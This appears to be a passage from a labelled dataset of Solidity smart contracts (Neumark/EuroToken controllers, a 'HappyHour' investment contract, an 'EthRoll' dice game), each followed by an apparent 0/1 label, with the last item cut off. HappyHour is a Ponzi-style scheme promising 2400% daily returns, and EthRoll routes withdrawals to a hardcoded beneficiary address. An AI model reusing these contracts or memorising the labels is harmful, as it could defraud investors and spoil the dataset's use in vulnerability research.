require(mOnTransfer(from, to, amount)); uint256 previousBalanceFrom = balanceOf(from); require(previousBalanceFrom >= amount); uint256 newBalanceFrom = previousBalanceFrom - amount; setValue(_balances[from], newBalanceFrom); uint256 previousBalanceTo = balanceOf(to); uint256 newBalanceTo = previousBalanceTo + amount; assert(newBalanceTo >= previousBalanceTo); setValue(_balances[to], newBalanceTo); emit Transfer(from, to, amount); } } contract MTokenMint { function mGenerateTokens(address owner, uint256 amount) internal; function mDestroyTokens(address owner, uint256 amount) internal; } contract MintableSnapshotToken is BasicSnapshotToken, MTokenMint { constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) BasicSnapshotToken(parentToken, parentSnapshotId) internal {} function mGenerateTokens(address owner, uint256 amount) internal { require(owner != address(0)); require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); uint256 curTotalSupply = totalSupply(); uint256 newTotalSupply = curTotalSupply + amount; require(newTotalSupply >= curTotalSupply); uint256 previousBalanceTo = balanceOf(owner); uint256 newBalanceTo = previousBalanceTo + amount; assert(newBalanceTo >= previousBalanceTo); setValue(_totalSupplyValues, newTotalSupply); setValue(_balances[owner], newBalanceTo); emit Transfer(0, owner, amount); } function mDestroyTokens(address owner, uint256 amount) internal { require(parentToken() == address(0) || parentSnapshotId() < parentToken().currentSnapshotId()); uint256 curTotalSupply = totalSupply(); require(curTotalSupply >= amount); uint256 previousBalanceFrom = balanceOf(owner); require(previousBalanceFrom >= amount); uint256 newTotalSupply = curTotalSupply - amount; uint256 newBalanceFrom = previousBalanceFrom - amount; setValue(_totalSupplyValues, newTotalSupply); setValue(_balances[owner], newBalanceFrom); emit Transfer(owner, 0, amount); } } contract StandardSnapshotToken is MintableSnapshotToken, TokenAllowance { constructor( IClonedTokenParent parentToken, uint256 parentSnapshotId ) MintableSnapshotToken(parentToken, parentSnapshotId) TokenAllowance() internal {} } contract IERC223LegacyCallback { function onTokenTransfer(address from, uint256 amount, bytes data) public; } contract IERC223Token is IERC20Token, ITokenMetadata { function transfer(address to, uint256 amount, bytes data) public returns (bool); } contract Neumark is AccessControlled, AccessRoles, Agreement, DailyAndSnapshotable, StandardSnapshotToken, TokenMetadata, IERC223Token, NeumarkIssuanceCurve, Reclaimable, IsContract { string private constant TOKEN_NAME = "Neumark"; uint8 private constant TOKEN_DECIMALS = 18; string private constant TOKEN_SYMBOL = "NEU"; string private constant VERSION = "NMK_1.0"; bool private _transferEnabled = false; uint256 private _totalEurUlps; event LogNeumarksIssued( address indexed owner, uint256 euroUlps, uint256 neumarkUlps ); event LogNeumarksBurned( address indexed owner, uint256 euroUlps, uint256 neumarkUlps ); constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter ) AccessRoles() Agreement(accessPolicy, forkArbiter) StandardSnapshotToken( IClonedTokenParent(0x0), 0 ) TokenMetadata( TOKEN_NAME, TOKEN_DECIMALS, TOKEN_SYMBOL, VERSION ) DailyAndSnapshotable(0) NeumarkIssuanceCurve() Reclaimable() public {} function issueForEuro(uint256 euroUlps) public only(ROLE_NEUMARK_ISSUER) acceptAgreement(msg.sender) returns (uint256) { require(_totalEurUlps + euroUlps >= _totalEurUlps); uint256 neumarkUlps = incremental(_totalEurUlps, euroUlps); _totalEurUlps += euroUlps; mGenerateTokens(msg.sender, neumarkUlps); emit LogNeumarksIssued(msg.sender, euroUlps, neumarkUlps); return neumarkUlps; } function distribute(address to, uint256 neumarkUlps) public only(ROLE_NEUMARK_ISSUER) acceptAgreement(to) { mTransfer(msg.sender, to, neumarkUlps); } function burn(uint256 neumarkUlps) public only(ROLE_NEUMARK_BURNER) { burnPrivate(neumarkUlps, 0, _totalEurUlps); } function burn(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public only(ROLE_NEUMARK_BURNER) { burnPrivate(neumarkUlps, minEurUlps, maxEurUlps); } function enableTransfer(bool enabled) public only(ROLE_TRANSFER_ADMIN) { _transferEnabled = enabled; } function createSnapshot() public only(ROLE_SNAPSHOT_CREATOR) returns (uint256) { return DailyAndSnapshotable.createSnapshot(); } function transferEnabled() public constant returns (bool) { return _transferEnabled; } function totalEuroUlps() public constant returns (uint256) { return _totalEurUlps; } function incremental(uint256 euroUlps) public constant returns (uint256 neumarkUlps) { return incremental(_totalEurUlps, euroUlps); } function transfer(address to, uint256 amount, bytes data) public returns (bool) { BasicSnapshotToken.mTransfer(msg.sender, to, amount); if (isContract(to)) { IERC223LegacyCallback(to).onTokenTransfer(msg.sender, amount, data); } return true; } function mOnTransfer( address from, address, uint256 ) internal acceptAgreement(from) returns (bool allow) { return _transferEnabled || accessPolicy().allowed(msg.sender, ROLE_NEUMARK_ISSUER, this, msg.sig); } function mOnApprove( address owner, address, uint256 ) internal acceptAgreement(owner) returns (bool allow) { return true; } function burnPrivate(uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) private { uint256 prevEuroUlps = _totalEurUlps; mDestroyTokens(msg.sender, burnNeumarkUlps); _totalEurUlps = cumulativeInverse(totalSupply(), minEurUlps, maxEurUlps); assert(prevEuroUlps >= _totalEurUlps); uint256 euroUlps = prevEuroUlps - _totalEurUlps; emit LogNeumarksBurned(msg.sender, euroUlps, burnNeumarkUlps); } } contract IERC223Callback { function tokenFallback(address from, uint256 amount, bytes data) public; } contract IFeeDisbursal is IERC223Callback { } contract IPlatformPortfolio is IERC223Callback { } contract ITokenExchangeRateOracle { function getExchangeRate(address numeratorToken, address denominatorToken) public constant returns (uint256 rateFraction, uint256 timestamp); function getExchangeRates(address[] numeratorTokens, address[] denominatorTokens) public constant returns (uint256[] rateFractions, uint256[] timestamps); } contract Universe is Agreement, IContractId, KnownInterfaces { event LogSetSingleton( bytes4 interfaceId, address instance, address replacedInstance ); event LogSetCollectionInterface( bytes4 interfaceId, address instance, bool isSet ); mapping(bytes4 => address) private _singletons; mapping(bytes4 => mapping(address => bool)) private _collections; mapping(address => bytes4[]) private _instances; constructor( IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter ) Agreement(accessPolicy, forkArbiter) public { setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy); setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter); } function getSingleton(bytes4 interfaceId) public constant returns (address) { return _singletons[interfaceId]; } function getManySingletons(bytes4[] interfaceIds) public constant returns (address[]) { address[] memory addresses = new address[](interfaceIds.length); uint256 idx; while(idx < interfaceIds.length) { addresses[idx] = _singletons[interfaceIds[idx]]; idx += 1; } return addresses; } function isSingleton(bytes4 interfaceId, address instance) public constant returns (bool) { return _singletons[interfaceId] == instance; } function isInterfaceCollectionInstance(bytes4 interfaceId, address instance) public constant returns (bool) { return _collections[interfaceId][instance]; } function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance) public constant returns (bool) { uint256 idx; while(idx < interfaceIds.length) { if (_collections[interfaceIds[idx]][instance]) { return true; } idx += 1; } return false; } function getInterfacesOfInstance(address instance) public constant returns (bytes4[] interfaces) { return _instances[instance]; } function setSingleton(bytes4 interfaceId, address instance) public only(ROLE_UNIVERSE_MANAGER) { setSingletonPrivate(interfaceId, instance); } function setManySingletons(bytes4[] interfaceIds, address[] instances) public only(ROLE_UNIVERSE_MANAGER) { require(interfaceIds.length == instances.length); uint256 idx; while(idx < interfaceIds.length) { setSingletonPrivate(interfaceIds[idx], instances[idx]); idx += 1; } } function setCollectionInterface(bytes4 interfaceId, address instance, bool set) public only(ROLE_UNIVERSE_MANAGER) { setCollectionPrivate(interfaceId, instance, set); } function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set) public only(ROLE_UNIVERSE_MANAGER) { uint256 idx; while(idx < interfaceIds.length) { setCollectionPrivate(interfaceIds[idx], instance, set); idx += 1; } } function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags) public only(ROLE_UNIVERSE_MANAGER) { require(interfaceIds.length == instances.length); require(interfaceIds.length == set_flags.length); uint256 idx; while(idx < interfaceIds.length) { setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]); idx += 1; } } function contractId() public pure returns (bytes32 id, uint256 version) { return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0); } function accessPolicy() public constant returns (IAccessPolicy) { return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]); } function forkArbiter() public constant returns (IEthereumForkArbiter) { return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]); } function neumark() public constant returns (Neumark) { return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]); } function etherToken() public constant returns (IERC223Token) { return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]); } function euroToken() public constant returns (IERC223Token) { return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]); } function etherLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ETHER_LOCK]; } function euroLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_EURO_LOCK]; } function icbmEtherLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK]; } function icbmEuroLock() public constant returns (address) { return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK]; } function identityRegistry() public constant returns (address) { return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]); } function tokenExchangeRateOracle() public constant returns (address) { return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]); } function feeDisbursal() public constant returns (address) { return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]); } function platformPortfolio() public constant returns (address) { return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]); } function tokenExchange() public constant returns (address) { return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE]; } function gasExchange() public constant returns (address) { return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE]; } function platformTerms() public constant returns (address) { return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS]; } function setSingletonPrivate(bytes4 interfaceId, address instance) private { require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON"); address replacedInstance = _singletons[interfaceId]; if (replacedInstance != instance) { dropInstance(replacedInstance, interfaceId); addInstance(instance, interfaceId); _singletons[interfaceId] = instance; } emit LogSetSingleton(interfaceId, instance, replacedInstance); } function setCollectionPrivate(bytes4 interfaceId, address instance, bool set) private { if (_collections[interfaceId][instance] == set) { return; } _collections[interfaceId][instance] = set; if (set) { addInstance(instance, interfaceId); } else { dropInstance(instance, interfaceId); } emit LogSetCollectionInterface(interfaceId, instance, set); } function addInstance(address instance, bytes4 interfaceId) private { if (instance == address(0)) { return; } bytes4[] storage current = _instances[instance]; uint256 idx; while(idx < current.length) { if (current[idx] == interfaceId) return; idx += 1; } current.push(interfaceId); } function dropInstance(address instance, bytes4 interfaceId) private { if (instance == address(0)) { return; } bytes4[] storage current = _instances[instance]; uint256 idx; uint256 last = current.length - 1; while(idx <= last) { if (current[idx] == interfaceId) { if (idx < last) { current[idx] = current[last]; } current.length -= 1; return; } idx += 1; } } } contract EuroTokenController is ITokenController, IContractId, AccessControlled, AccessRoles, IdentityRecord, KnownInterfaces { event LogAllowedFromAddress( address indexed from, bool allowed ); event LogAllowedToAddress( address indexed to, bool allowed ); event LogUniverseReloaded(); bytes4[] private TRANSFER_ALLOWED_INTERFACES = [KNOWN_INTERFACE_COMMITMENT, KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER]; Universe private UNIVERSE; mapping(address => bool) private _allowedTransferTo; mapping(address => bool) private _allowedTransferFrom; uint256 private _minDepositAmountEurUlps; uint256 private _minWithdrawAmountEurUlps; uint256 private _maxSimpleExchangeAllowanceEurUlps; IIdentityRegistry private _identityRegistry; constructor( Universe universe ) AccessControlled(universe.accessPolicy()) public { UNIVERSE = universe; } function setAllowedTransferTo(address to, bool allowed) public only(ROLE_EURT_LEGAL_MANAGER) { setAllowedTransferToPrivate(to, allowed); } function setAllowedTransferFrom(address from, bool allowed) public only(ROLE_EURT_LEGAL_MANAGER) { setAllowedTransferFromPrivate(from, allowed); } function applySettings( uint256 minDepositAmountEurUlps, uint256 minWithdrawAmountEurUlps, uint256 maxSimpleExchangeAllowanceEurUlps ) public only(ROLE_EURT_LEGAL_MANAGER) { applySettingsPrivate( minDepositAmountEurUlps, minWithdrawAmountEurUlps, maxSimpleExchangeAllowanceEurUlps ); } function allowedTransferTo(address to) public constant returns (bool) { return _allowedTransferTo[to]; } function allowedTransferFrom(address from) public constant returns (bool) { return _allowedTransferFrom[from]; } function minDepositAmountEurUlps() public constant returns (uint256) { return _minDepositAmountEurUlps; } function minWithdrawAmountEurUlps() public constant returns (uint256) { return _minWithdrawAmountEurUlps; } function maxSimpleExchangeAllowanceEurUlps() public constant returns (uint256) { return _maxSimpleExchangeAllowanceEurUlps; } function onTransfer(address broker, address from, address to, uint256 ) public constant returns (bool allow) { bool isBrokeredTransfer = broker != from; bool isTransferAllowed = isTransferAllowedPrivate(from, to, isBrokeredTransfer); bool isBrokerAllowed = !isBrokeredTransfer || _allowedTransferFrom[broker]; return isTransferAllowed && isBrokerAllowed; } function onApprove(address, address, uint256) public constant returns (bool allow) { return true; } function onGenerateTokens(address , address owner, uint256 amount) public constant returns (bool allow) { if (amount < _minDepositAmountEurUlps) { return false; } if(_allowedTransferTo[owner]) { return true; } IdentityClaims memory claims = deserializeClaims(_identityRegistry.getClaims(owner)); return claims.isVerified && !claims.accountFrozen; } function onDestroyTokens(address , address owner, uint256 amount) public constant returns (bool allow) { if (amount < _minWithdrawAmountEurUlps) { return false; } if(_allowedTransferFrom[owner]) { return true; } IdentityClaims memory claims = deserializeClaims(_identityRegistry.getClaims(owner)); return claims.isVerified && !claims.accountFrozen && claims.hasBankAccount; } function onChangeTokenController(address sender, address newController) public constant returns (bool) { return accessPolicy().allowed(sender, ROLE_EURT_LEGAL_MANAGER, msg.sender, msg.sig) && newController != address(0x0); } function onAllowance(address , address spender) public constant returns (uint256) { address exchange = UNIVERSE.gasExchange(); if (spender == address(exchange)) { return _maxSimpleExchangeAllowanceEurUlps; } else { return 0; } } function contractId() public pure returns (bytes32 id, uint256 version) { return (0xddc22bc86ca8ebf8229756d3fd83791c143630f28e301fef65bbe3070a377f2a, 0); } function applySettingsPrivate( uint256 pMinDepositAmountEurUlps, uint256 pMinWithdrawAmountEurUlps, uint256 pMaxSimpleExchangeAllowanceEurUlps ) private { _identityRegistry = IIdentityRegistry(UNIVERSE.identityRegistry()); allowFromUniverse(); _minDepositAmountEurUlps = pMinDepositAmountEurUlps; _minWithdrawAmountEurUlps = pMinWithdrawAmountEurUlps; _maxSimpleExchangeAllowanceEurUlps = pMaxSimpleExchangeAllowanceEurUlps; } function allowFromUniverse() private { setAllowedTransferFromPrivate(UNIVERSE.euroLock(), true); setAllowedTransferFromPrivate(UNIVERSE.feeDisbursal(), true); setAllowedTransferFromPrivate(UNIVERSE.gasExchange(), true); setAllowedTransferToPrivate(UNIVERSE.feeDisbursal(), true); setAllowedTransferToPrivate(UNIVERSE.euroLock(), true); setAllowedTransferToPrivate(UNIVERSE.gasExchange(), true); emit LogUniverseReloaded(); } function setAllowedTransferToPrivate(address to, bool allowed) private { _allowedTransferTo[to] = allowed; emit LogAllowedToAddress(to, allowed); } function setAllowedTransferFromPrivate(address from, bool allowed) private { _allowedTransferFrom[from] = allowed; emit LogAllowedFromAddress(from, allowed); } function isTransferAllowedPrivate(address from, address to, bool allowPeerTransfers) private constant returns (bool) { bool explicitFrom = _allowedTransferFrom[from]; bool explicitTo = _allowedTransferTo[to]; if (explicitFrom && explicitTo) { return true; } if (!explicitFrom) { IdentityClaims memory claimsFrom = deserializeClaims(_identityRegistry.getClaims(from)); explicitFrom = claimsFrom.isVerified && !claimsFrom.accountFrozen; } if (!explicitFrom) { explicitFrom = UNIVERSE.isAnyOfInterfaceCollectionInstance(TRANSFER_ALLOWED_INTERFACES, from); } if (!explicitFrom) { return false; } if (!explicitTo) { explicitTo = UNIVERSE.isAnyOfInterfaceCollectionInstance(TRANSFER_ALLOWED_INTERFACES, to); } if (!explicitTo) { IdentityClaims memory claims = deserializeClaims(_identityRegistry.getClaims(to)); explicitTo = claims.isVerified && !claims.accountFrozen; } if (allowPeerTransfers) { return explicitTo; } if(claims.isVerified && !claims.accountFrozen && claimsFrom.isVerified && !claimsFrom.accountFrozen) { return false; } return explicitTo; } }
0
pragma solidity ^0.4.24; contract HappyHour { using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) withdrawals; mapping(address => uint256) referrer; uint256 public step = 2400; uint256 public minimum = 10 finney; uint256 public stakingRequirement = 0.5 ether; address public ownerWallet; address public owner; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; ownerWallet = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } function () public payable { buy(0x0); } function buy(address _referredBy) public payable { require(msg.value >= minimum); address _customerAddress = msg.sender; if( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && investments[_referredBy] >= stakingRequirement ){ referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100)); } if (investments[msg.sender] > 0){ if (withdraw()){ withdrawals[msg.sender] = 0; } } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.mul(5).div(100)); emit Invest(msg.sender, msg.value); } function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 percent = investments[_address].mul(step).div(100); uint256 different = percent.mul(minutesCount).div(1440); uint256 balance = different.sub(withdrawals[_address]); return balance; } function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); if (address(this).balance > balance){ if (balance > 0){ withdrawals[msg.sender] = withdrawals[msg.sender].add(balance); msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { return false; } } function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } function checkWithdrawals(address _investor) public view returns (uint256) { return withdrawals[_investor]; } function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.24; contract EthRoll { uint constant HOUSE_EDGE_PERCENT = 15; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.00045 ether; uint constant MIN_JACKPOT_BET = 0.1 ether; uint constant JACKPOT_MODULO = 1000; uint constant JACKPOT_FEE = 0.001 ether; uint constant MIN_BET = 0.01 ether; uint constant MAX_AMOUNT = 300000 ether; uint constant MAX_MODULO = 100; uint constant MAX_MASK_MODULO = 40; uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; uint constant BET_EXPIRATION_BLOCKS = 250; address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public owner; address private nextOwner; uint public maxProfit; address public secretSigner; uint128 public jackpotSize; uint128 public lockedInBets; address public beneficiary_ = 0x360f9b23ea114bb1a1e5fdd52fcb92837011ff65; struct Bet { uint amount; uint8 modulo; uint8 rollUnder; uint40 placeBlockNumber; uint40 mask; address gambler; } mapping (uint => Bet) bets; address public croupier; event FailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount); event JackpotPayment(address indexed beneficiary, uint amount); event Commit(uint commit); constructor () public { owner = msg.sender; secretSigner = DUMMY_ADDRESS; croupier = DUMMY_ADDRESS; } modifier onlyOwner { require (msg.sender == owner, "OnlyOwner methods called by non-owner."); _; } modifier onlyCroupier { require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier."); _; } function approveNextOwner(address _nextOwner) external onlyOwner { require (_nextOwner != owner, "Cannot approve current owner."); nextOwner = _nextOwner; } function acceptNextOwner() external { require (msg.sender == nextOwner, "Can only accept preapproved new owner."); owner = nextOwner; } function () public payable { } function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } function setCroupier(address newCroupier) external onlyOwner { croupier = newCroupier; } function setMaxProfit(uint _maxProfit) public onlyOwner { require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number."); maxProfit = _maxProfit; } function increaseJackpot(uint increaseAmount) external onlyOwner { require (increaseAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds."); jackpotSize += uint128(increaseAmount); } function withdrawFunds(uint withdrawAmount) external onlyOwner { require (withdrawAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds."); sendFunds(beneficiary_, withdrawAmount, withdrawAmount); } function kill() external onlyOwner { require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct."); selfdestruct(owner); } function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable { Bet storage bet = bets[commit]; require (bet.gambler == address(0), "Bet should be in a 'clean' state."); uint amount = msg.value; require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range."); require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit)); require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid."); uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; } else { require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo."); rollUnder = betMask; } uint possibleWinAmount; uint jackpotFee; (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation."); lockedInBets += uint128(possibleWinAmount); jackpotSize += uint128(jackpotFee); require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet."); emit Commit(commit); bet.amount = amount; bet.modulo = uint8(modulo); bet.rollUnder = uint8(rollUnder); bet.placeBlockNumber = uint40(block.number); bet.mask = uint40(mask); bet.gambler = msg.sender; } function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; uint placeBlockNumber = bet.placeBlockNumber; require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before."); require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); require (blockhash(placeBlockNumber) == blockHash); settleBetCommon(bet, reveal, blockHash); } function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); requireCorrectReceipt(4 + 32 + 32 + 4); bytes32 canonicalHash; bytes32 uncleHash; (canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32); require (blockhash(canonicalBlockNumber) == canonicalHash); settleBetCommon(bet, reveal, uncleHash); } function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; require (amount != 0, "Bet should be in an 'active' state"); bet.amount = 0; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint dice = uint(entropy) % modulo; uint diceWinAmount; uint _jackpotFee; (diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); uint diceWin = 0; uint jackpotWin = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** dice) & bet.mask != 0) { diceWin = diceWinAmount; } } else { if (dice < rollUnder) { diceWin = diceWinAmount; } } lockedInBets -= uint128(diceWinAmount); if (amount >= MIN_JACKPOT_BET) { uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO; if (jackpotRng == 0) { jackpotWin = jackpotSize; jackpotSize = 0; } } if (jackpotWin > 0) { emit JackpotPayment(gambler, jackpotWin); } sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin); } function refundBet(uint commit) external { Bet storage bet = bets[commit]; uint amount = bet.amount; require (amount != 0, "Bet should be in an 'active' state"); require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); bet.amount = 0; uint diceWinAmount; uint jackpotFee; (diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder); lockedInBets -= uint128(diceWinAmount); jackpotSize -= uint128(jackpotFee); sendFunds(bet.gambler, amount, amount); } function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) { require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range."); jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0; uint houseEdge = amount * HOUSE_EDGE_PERCENT / 1000; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT; } require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge."); winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder; } function sendFunds(address beneficiary, uint amount, uint successLogAmount) private { if (beneficiary.call.value(amount)()) { emit Payment(beneficiary, successLogAmount); } else { emit FailedPayment(beneficiary, amount); } } uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) { uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) } uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot; for (;; offset += blobLength) { assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) } if (blobLength == 0) { break; } assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) } require (shift + 32 <= blobLength, "Shift bounds check."); offset += 4; assembly { hashSlot := calldataload(add(offset, shift)) } require (hashSlot == 0, "Non-empty hash slot."); assembly { calldatacopy(scratchBuf1, offset, blobLength) mstore(add(scratchBuf1, shift), seedHash) seedHash := sha3(scratchBuf1, blobLength) uncleHeaderLength := blobLength } } uncleHash = bytes32(seedHash); uint scratchBuf2 = scratchBuf1 + uncleHeaderLength; uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) } uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) } require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check."); offset += 6; assembly { calldatacopy(scratchBuf2, offset, unclesLength) } memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength); assembly { seedHash := sha3(scratchBuf2, unclesLength) } offset += unclesLength; assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) shift := and(calldataload(sub(offset, 28)), 0xffff) } require (shift + 32 <= blobLength, "Shift bounds check."); offset += 4; assembly { hashSlot := calldataload(add(offset, shift)) } require (hashSlot == 0, "Non-empty hash slot."); assembly { calldatacopy(scratchBuf1, offset, blobLength) mstore(add(scratchBuf1, shift), seedHash) blockHash := sha3(scratchBuf1, blobLength) } } function requireCorrectReceipt(uint offset) view private { uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) } require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes."); offset += leafHeaderByte - 0xf6; uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) } if (pathHeaderByte <= 0x7f) { offset += 1; } else { require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string."); offset += pathHeaderByte - 0x7f; } uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) } require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k."); offset += 3; uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) } require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k."); offset += 3; uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) } require (statusByte == 0x1, "Status should be success."); offset += 1; uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) } if (cumGasHeaderByte <= 0x7f) { offset += 1; } else { require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 